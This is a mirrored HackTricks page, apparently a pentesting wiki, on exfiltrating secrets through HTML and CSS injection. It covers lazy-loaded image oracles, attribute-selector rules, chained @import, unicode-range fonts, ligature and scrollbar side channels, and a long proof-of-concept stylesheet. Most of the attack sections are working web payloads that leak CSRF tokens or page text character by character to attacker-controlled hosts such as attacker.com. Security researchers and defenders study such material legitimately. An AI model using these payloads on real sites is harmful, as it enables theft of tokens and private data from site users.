mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
357 lines
18 KiB
Markdown
357 lines
18 KiB
Markdown
|
# HTML Injection / Char-by-char Exfiltration
|
|||
|
|
|||
|
## Image Lazy Loading
|
|||
|
|
|||
|
If you need to **exfiltrate content** and you can **add HTML previous to the secret** you should check the **common dangling markup techniques**.\
|
|||
|
However, if for whatever reason you **MUST** do it **char by char** (maybe the communication is via a cache hit) you can use this trick.
|
|||
|
|
|||
|
**Images** in HTML has a "**loading**" attribute whose value can be "**lazy**". In that case, the image will be loaded when it's viewed and not while the page is loading:
|
|||
|
|
|||
|
```html
|
|||
|
<img src=/something loading=lazy >
|
|||
|
```
|
|||
|
|
|||
|
Therefore, what you can do is to **add a lot of junk chars** (For example **thousands of "W"s**) to **fill the web page before the secret**. We do this so the image is not loaded at the begging.
|
|||
|
|
|||
|
However, you make the **bot access the page** with something like 
|
|||
|
|
|||
|
```
|
|||
|
#:~:text=SECR
|
|||
|
```
|
|||
|
|
|||
|
So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`**
|
|||
|
|
|||
|
Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.
|
|||
|
|
|||
|
What this text will do is to make the bot access any text in the page that contains the text `SECR`. As that text is the secret and it's just **below the image**, the **image will only load if the guessed secret is correct**. So there you have your oracle to **exfiltrate the secret char by char**.
|
|||
|
|
|||
|
Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|||
|
|
|||
|
## CSS Injection
|
|||
|
|
|||
|
### Attribute Selector
|
|||
|
|
|||
|
The main technique to exfiltrate information via CSS Injection is to try to **match a text with CSS** and in case that **text exist** **load some external resource, like:**
|
|||
|
|
|||
|
```css
|
|||
|
input[name=csrf][value^=a]{
|
|||
|
background-image: url(https://attacker.com/exfil/a);
|
|||
|
}
|
|||
|
input[name=csrf][value^=b]{
|
|||
|
background-image: url(https://attacker.com/exfil/b);
|
|||
|
}
|
|||
|
/* ... */
|
|||
|
input[name=csrf][value^=9]{
|
|||
|
background-image: url(https://attacker.com/exfil/9);
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
However, note that this technique won't work if, in the example, the **csrf name input** is of **type hidden** (and they usually are), because the background won't be loaded.\
|
|||
|
However, you can **bypass** this impediment by, instead of making the hidden element load a background, **just make anything after it load the background:**
|
|||
|
|
|||
|
```css
|
|||
|
input[name=csrf][value^=csrF] ~ * {
|
|||
|
background-image: url(https://attacker.com/exfil/csrF);
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
Some code example to exploit this: [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
|
|||
|
|
|||
|
#### Prerequisites
|
|||
|
|
|||
|
1. The CSS injection needs to allow for sufficiently long payloads
|
|||
|
2. Ability to **frame the page to trigger CSS re-evaluation of newly generated payloads**
|
|||
|
3. Ability to use **externally hosted images** (could be blocked by CSP)
|
|||
|
|
|||
|
### @import
|
|||
|
|
|||
|
The previous technique has some drawbacks, check the prerequisites. You either need to be able to **send multiple links to the victim**, or you need to be able to **iframe the CSS injection vulnerable page**.
|
|||
|
|
|||
|
However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique.
|
|||
|
|
|||
|
This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) **** and it works like this:
|
|||
|
|
|||
|
Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim):
|
|||
|
|
|||
|
```css
|
|||
|
@import url('//attacker.com:5001/start?');
|
|||
|
```
|
|||
|
|
|||
|
1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**.
|
|||
|
2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
|
|||
|
1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
|
|||
|
3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
|
|||
|
1. This will send to the attackers server the **first char of the secret and the last one**
|
|||
|
4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
|
|||
|
1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
|
|||
|
|
|||
|
The attacker will f**ollow that loop until it manages to leak completely the secret**.
|
|||
|
|
|||
|
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](./#css-injection)
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
The script will try to discover 2 chars each time (from the begging and from the end) because the attribute selector allows to do things like:
|
|||
|
|
|||
|
```css
|
|||
|
/* value^= to match the beggining of the value*/
|
|||
|
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
|||
|
|
|||
|
/* value$= to match the ending of the value*/
|
|||
|
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
```
|
|||
|
|
|||
|
This allows the script to leak the secret faster.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
|
|||
|
No worries, just check the **output** because **you can see the flag there**.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
### Error based XS-Search
|
|||
|
|
|||
|
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
|||
|
|
|||
|
Basically the main idea is to **use a custom font from an endpoint controlled by us** in a **text that will be showed only if the resource can not be loaded**.
|
|||
|
|
|||
|
```html
|
|||
|
<!DOCTYPE html>
|
|||
|
<html>
|
|||
|
<head>
|
|||
|
<style>
|
|||
|
@font-face{
|
|||
|
font-family: poc;
|
|||
|
src: url(http://ourenpoint.com/?leak);
|
|||
|
unicode-range:U+0041;
|
|||
|
}
|
|||
|
|
|||
|
#poc0{
|
|||
|
font-family: 'poc';
|
|||
|
}
|
|||
|
|
|||
|
</style>
|
|||
|
</head>
|
|||
|
<body>
|
|||
|
|
|||
|
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
```
|
|||
|
|
|||
|
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
|||
|
|
|||
|
You can specify **external fonts for specific unicode values** that will only be **gathered if those unicode values are present** in the page. For example:
|
|||
|
|
|||
|
```html
|
|||
|
<style>
|
|||
|
@font-face{
|
|||
|
font-family:poc;
|
|||
|
src: url(http://attacker.example.com/?A); /* fetched */
|
|||
|
unicode-range:U+0041;
|
|||
|
}
|
|||
|
@font-face{
|
|||
|
font-family:poc;
|
|||
|
src: url(http://attacker.example.com/?B); /* fetched too */
|
|||
|
unicode-range:U+0042;
|
|||
|
}
|
|||
|
@font-face{
|
|||
|
font-family:poc;
|
|||
|
src: url(http://attacker.example.com/?C); /* not fetched */
|
|||
|
unicode-range:U+0043;
|
|||
|
}
|
|||
|
#sensitive-information{
|
|||
|
font-family:poc;
|
|||
|
}
|
|||
|
</style>
|
|||
|
|
|||
|
<p id="sensitive-information">AB</p>htm
|
|||
|
```
|
|||
|
|
|||
|
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
|||
|
|
|||
|
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
|||
|
|
|||
|
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
|||
|
|
|||
|
We can extract the text contained in a node with a technique that combines **font ligatures** and the **detection of width changes**. The main idea behind this technique is the creation of fonts that contains a predefined ligature with **high size** and the usage of **size changes as oracle**.
|
|||
|
|
|||
|
The fonts can be created as SVG fonts and then converted to woff with fontforge. In SVG we can define the width of a glyph via **horiz-adv-x** attribute, so we can build something like `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, being **XY a sequence of two chars**. **If the sequence exists, it will be rendered and the size of the text will change**. But… how can we detect these changes?
|
|||
|
|
|||
|
When the attribute white-space is defined as **nowrap** it forces the text to do not break when it exceeds the parent’s width. In this situation, an **horizontal scrollbar will appear**. And we can **define the style of that scrollbar**, so we can leak when this happens **:)**
|
|||
|
|
|||
|
```css
|
|||
|
body { white-space: nowrap };
|
|||
|
body::-webkit-scrollbar { background: blue; }
|
|||
|
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
|
|||
|
```
|
|||
|
|
|||
|
At this point the attack is clear:
|
|||
|
|
|||
|
1. Create **fonts** for the combination of **two chars with huge width**
|
|||
|
2. Detect the **leak via the scrollbar trick**
|
|||
|
3. Using the first ligature leaked as base, create **new combinations of 3 chars** (adding before / after chars)
|
|||
|
4. **Detect** the **3-chars ligature**.
|
|||
|
5. Repeat until **leaking the whole text**
|
|||
|
|
|||
|
We still needing an improved method to start the iteration because `<meta refresh=...` is suboptimal. You could use the **CSS @import trick to optimize the exploit**.
|
|||
|
|
|||
|
### Text node exfiltration (II): leaking the charset with a default font <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
|||
|
|
|||
|
 **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
|||
|
|
|||
|
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
|
|||
|
|
|||
|
The key is to use an animation to **grow the div width from 0 to the end of the text**, the size of a char each time. Doing this we can “split” the text in two parts: a “prefix” (the first line) and a “suffix”, so every time the div increases its width a new char moves from the “suffix” to the “prefix”. Something like:
|
|||
|
|
|||
|
**C**\
|
|||
|
ADB
|
|||
|
|
|||
|
**CA**\
|
|||
|
DB
|
|||
|
|
|||
|
**CAD**\
|
|||
|
B
|
|||
|
|
|||
|
**CADB**
|
|||
|
|
|||
|
When a new char goes to the first line, the **unicode-range trick is used to detect the new character in the prefix**. This detection is made changing the font to Comic Sans, which its heigth is superior so a **vertical scrollbar is triggered** (leaking the char value). This way we can leak every different character one time. **We can detect if a character is repated but not what character is repeated**.
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\
|
|||
|
When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
Check the code extracted from the PoC:
|
|||
|
|
|||
|
```css
|
|||
|
/* comic sans is high (lol) and causes a vertical overflow */
|
|||
|
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
|||
|
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
|
|||
|
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
|
|||
|
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
|
|||
|
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
|
|||
|
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
|
|||
|
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
|
|||
|
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
|
|||
|
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
|
|||
|
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
|
|||
|
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
|
|||
|
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
|
|||
|
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
|
|||
|
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
|
|||
|
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
|
|||
|
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
|
|||
|
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
|
|||
|
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
|
|||
|
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
|
|||
|
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
|
|||
|
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
|
|||
|
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
|
|||
|
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
|
|||
|
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
|
|||
|
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
|
|||
|
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
|
|||
|
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
|
|||
|
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
|
|||
|
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
|
|||
|
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
|
|||
|
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
|
|||
|
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
|
|||
|
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
|
|||
|
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
|
|||
|
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
|
|||
|
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
|
|||
|
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
|
|||
|
|
|||
|
div.leak {
|
|||
|
overflow-y: auto; /* leak channel */
|
|||
|
overflow-x: hidden; /* remove false positives */
|
|||
|
height: 40px; /* comic sans capitals exceed this height */
|
|||
|
font-size: 0px; /* make suffix invisible */
|
|||
|
letter-spacing: 0px; /* separation */
|
|||
|
word-break: break-all; /* small width split words in lines */
|
|||
|
font-family: rest; /* default */
|
|||
|
background: grey; /* default */
|
|||
|
width: 0px; /* initial value */
|
|||
|
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
|
|||
|
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
|
|||
|
}
|
|||
|
|
|||
|
div.leak::first-line{
|
|||
|
font-size: 30px; /* prefix is visible in first line */
|
|||
|
text-transform: uppercase; /* only capital letters leak */
|
|||
|
}
|
|||
|
|
|||
|
/* iterate over all chars */
|
|||
|
@keyframes trychar {
|
|||
|
0% { font-family: rest; } /* delay for width change */
|
|||
|
5% { font-family: has_A, rest; --leak: url(?a); }
|
|||
|
6% { font-family: rest; }
|
|||
|
10% { font-family: has_B, rest; --leak: url(?b); }
|
|||
|
11% { font-family: rest; }
|
|||
|
15% { font-family: has_C, rest; --leak: url(?c); }
|
|||
|
16% { font-family: rest }
|
|||
|
20% { font-family: has_D, rest; --leak: url(?d); }
|
|||
|
21% { font-family: rest; }
|
|||
|
25% { font-family: has_E, rest; --leak: url(?e); }
|
|||
|
26% { font-family: rest; }
|
|||
|
30% { font-family: has_F, rest; --leak: url(?f); }
|
|||
|
31% { font-family: rest; }
|
|||
|
35% { font-family: has_G, rest; --leak: url(?g); }
|
|||
|
36% { font-family: rest; }
|
|||
|
40% { font-family: has_H, rest; --leak: url(?h); }
|
|||
|
41% { font-family: rest }
|
|||
|
45% { font-family: has_I, rest; --leak: url(?i); }
|
|||
|
46% { font-family: rest; }
|
|||
|
50% { font-family: has_J, rest; --leak: url(?j); }
|
|||
|
51% { font-family: rest; }
|
|||
|
55% { font-family: has_K, rest; --leak: url(?k); }
|
|||
|
56% { font-family: rest; }
|
|||
|
60% { font-family: has_L, rest; --leak: url(?l); }
|
|||
|
61% { font-family: rest; }
|
|||
|
65% { font-family: has_M, rest; --leak: url(?m); }
|
|||
|
66% { font-family: rest; }
|
|||
|
70% { font-family: has_N, rest; --leak: url(?n); }
|
|||
|
71% { font-family: rest; }
|
|||
|
75% { font-family: has_O, rest; --leak: url(?o); }
|
|||
|
76% { font-family: rest; }
|
|||
|
80% { font-family: has_P, rest; --leak: url(?p); }
|
|||
|
81% { font-family: rest; }
|
|||
|
85% { font-family: has_Q, rest; --leak: url(?q); }
|
|||
|
86% { font-family: rest; }
|
|||
|
90% { font-family: has_R, rest; --leak: url(?r); }
|
|||
|
91% { font-family: rest; }
|
|||
|
95% { font-family: has_S, rest; --leak: url(?s); }
|
|||
|
96% { font-family: rest; }
|
|||
|
}
|
|||
|
|
|||
|
/* increase width char by char, i.e. add new char to prefix */
|
|||
|
@keyframes loop {
|
|||
|
0% { width: 0px }
|
|||
|
1% { width: 20px }
|
|||
|
2% { width: 40px }
|
|||
|
3% { width: 60px }
|
|||
|
4% { width: 80px }
|
|||
|
4% { width: 100px }
|
|||
|
5% { width: 120px }
|
|||
|
6% { width: 140px }
|
|||
|
7% { width: 0px }
|
|||
|
}
|
|||
|
|
|||
|
div::-webkit-scrollbar {
|
|||
|
background: blue;
|
|||
|
}
|
|||
|
|
|||
|
/* side-channel */
|
|||
|
div::-webkit-scrollbar:vertical {
|
|||
|
background: blue var(--leak);
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|||
|
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
|||
|
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
|||
|
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|